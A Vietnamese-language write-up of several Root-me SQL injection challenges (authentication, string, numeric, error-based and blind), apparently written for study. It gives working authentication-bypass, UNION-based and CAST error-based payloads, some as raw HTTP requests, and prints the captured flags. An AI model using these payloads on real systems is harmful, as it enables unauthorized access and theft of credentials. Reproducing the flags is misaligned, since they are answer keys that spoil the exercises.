**Write-up Root-me Challenge - SQL Injection**
# SQL Injection - Authentication
http://challenge01.root-me.org/web-serveur/ch9/

Inject vào password:
Login: admin
Password: hi' or 1=1--



Thay đổi Login thành "admin'--". Password: "hi' or 1=1--"


Inspect


Flag: t0_W34k!$

# SQL Injection - String
http://challenge01.root-me.org/web-serveur/ch19/

Truy cập Login, inject vào password:
Login: admin
Password: hi' or 1=1--


Không thể thực hiện inject.

Truy cập Search, nhập "hi' or 1=1--" => chercher


Inject thành công.

Thực hiện Union-based SQLi, thử với payload "hi' or id='1' union select 1", thì nhận về lỗi sau:


Server sử dụng SQLite3, cần sử dụng cú pháp của SQLite3 để tìm ra các table trong database. Nhưng trước tiên, cần phải thực hiện dò số cột. Thay payload thành "hi' or id='1' union select 1,1--" thì có vẻ đã tìm được số cột là 2:


Vì server dùng SQLite3, do vậy cần phải truy vấn các table bằng cách tìm trong sqlite_master hoặc sqlite_schema. Thử truy vấn với payload "hi' or id='1' union select 1, name from sqlite_master--"


Blind vào table users "hi' or id='1' union select 1,1 from users--"


Truy vấn tìm username và password với payload "hi' or id='1' union select username,password from users--" - Tìm được flag.


Flag: c4K04dtIaJsuWdi

# SQL Injection - Numeric
http://challenge01.root-me.org/web-serveur/ch18/

Truy cập Login, inject vào password:
Login: admin
Password: hi' or 1=1--


Không thể thực hiện inject.

Kiểm tra các thẻ khác trong Home có thể thấy 3 link này đều dẫn đến action=news&news_id=[x]. Thử xóa id của news thì phát hiện database bị lỗi:


Server dùng SQLite3, do vậy cần phải truy vấn các table bằng cách tìm trong sqlite_master hoặc sqlite_schema. Thử truy vấn với payload
http://challenge01.root-me.org/web-serveur/ch18/?action=news&news_id=1%20union%20select%201

http://challenge01.root-me.org/web-serveur/ch18/?action=news&news_id=1%20union%20select%201,1

http://challenge01.root-me.org/web-serveur/ch18/?action=news&news_id=1%20union%20select%201,1,1

Như vậy số cột của bảng là 3.

Để tìm tên của bảng, truy vấn với payload http://challenge01.root-me.org/web-serveur/ch18/?action=news&news_id=1%20union%20select%201,1,%20name%20from%20sqlite_master--

Truy vấn tìm username và password với payload http://challenge01.root-me.org/web-serveur/ch18/?action=news&news_id=1%20union%20select%201,username,password%20from%20users--
Tìm ra flag.

Flag: aTlkJYLjcbLmue3

# SQL Injection - Error
http://challenge01.root-me.org/web-serveur/ch34/

Inject vào password:
Login: admin
Password: hi' or 1=1--
Không thể thực hiện inject.

Truy cập Contents, thử payload http://challenge01.root-me.org/web-serveur/ch34/?action=contents&order=ASC1
Web trả về lỗi:

Thử các payload dựa vào “ORDER BY”:
http://challenge01.root-me.org/web-serveur/ch34/?action=contents&order=ASC,+1

http://challenge01.root-me.org/web-serveur/ch34/?action=contents&order=ASC,+2

http://challenge01.root-me.org/web-serveur/ch34/?action=contents&order=ASC,+3

http://challenge01.root-me.org/web-serveur/ch34/?action=contents&order=ASC,+ab

Với position==3 hoặc VARCHAR/CHAR type thì database hiện lỗi. Như vậy, ta cần phải biết 3 position của database này cũng như dựa vào type varibles để attack. Dựa vào cheatsheet của MySQL, ta có thể sử dụng CAST … AS [type] để khiến database hiện lỗi khi postion không thể là VARCHAR/CHAR. Mở burpsuite và thử payload:
`GET /web-serveur/ch34/?action=contents&order=ASC,+CAST((SELECT+table_name+FROM+information_schema.tables+LIMIT+1)+AS+FLOAT) HTTP/1.1`

Table name: m3mbr35t4bl3

Thử payload:
`GET /web-serveur/ch34/?action=contents&order=ASC,+CAST((SELECT+column_name+FROM+information_schema.columns+LIMIT+1)+AS+FLOAT) HTTP/1.1`

Column name (first column): id

Đến đây, cần sử dụng OFFSET để có thể filter vào đúng postion cần LIMIT để hiển thị các column còn lại, thử payload:
`GET /web-serveur/ch34/?action=contents&order=ASC,+CAST((SELECT+column_name+FROM+information_schema.columns+LIMIT+1+OFFSET+1)+AS+FLOAT) HTTP/1.1`

Username column: us3rn4m3_c0l

`GET /web-serveur/ch34/?action=contents&order=ASC,+CAST((SELECT+column_name+FROM+information_schema.columns+LIMIT+1+OFFSET+2)+AS+FLOAT) HTTP/1.1`

Password column: p455w0rd_c0l

Payload:
`GET /web-serveur/ch34/?action=contents&order=ASC,+CAST((SELECT+us3rn4m3_c0l+FROM+m3mbr35t4bl3+LIMIT+1)+AS+FLOAT) HTTP/1.1`

Payload:
`GET /web-serveur/ch34/?action=contents&order=ASC,+CAST((SELECT+p455w0rd_c0l+FROM+m3mbr35t4bl3+LIMIT+1)+AS+FLOAT) HTTP/1.1`

Flag: 1a2BdKT5DIx3qxQN3UaC

# SQL Injection - Blind
http://challenge01.root-me.org/web-serveur/ch10/

Inject vào password:
Login: admin
Password: hi' or 1=1--

Inspect hiện ra kết quả của user1, thay đổi username của admin thành "admin'--", ta được kết quả:
Chưa có thông tin về password.

Mở Burp Suite => Proxy => Intercept => Open browser, truy cập vào liên kết để tìm flag => Bật Intercept => connect
Sau khi lấy được Request, gửi Request đến Repeater => Send để xem Respond.

Thay đổi:

username= admin'--+-
&password= admin' union select password from users where username=admin'--+-

Web đã sử dụng các keyword chống SQL Injection với thông báo “Injection detected”.